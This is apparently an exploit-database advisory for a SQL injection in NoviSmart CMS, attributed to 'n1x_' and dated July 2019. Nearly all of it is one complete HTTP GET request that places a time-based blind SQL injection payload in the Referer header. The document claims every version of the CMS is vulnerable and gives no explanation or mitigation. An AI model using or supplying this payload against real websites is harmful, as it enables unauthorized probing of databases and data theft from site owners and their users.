Novismart CMS SQL Injection

`# Exploit Title: NoviSmart CMS SQL injection  
# Date: 23.7.2019.  
# Exploit Author: n1x_ [MS-WEB]  
# Vendor Homepage: http://www.novismart.com/  
# Version: Every version  
# CVE : CWE-89  
  
Vulnerable parameter: Referer (HTTP Header field)  
  
[GET Request]  
  
GET / HTTP/1.1  
Referer: if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21  
Client-IP: 127.0.0.1  
X-Forwarded-For: 127.0.0.1  
X-Forwarded-Host: localhost  
Accept-Language: en  
Via: 1.1 wa.www.test.com  
Origin: http://www.test.com/  
X-Requested-With: XMLHttpRequest  
Cookie: PHPSESSID=24769012200df6ccd9002dbf5b978e9c; language=1  
Host: host  
Connection: Keep-alive  
Accept-Encoding: gzip,deflate  
Accept: */*  
`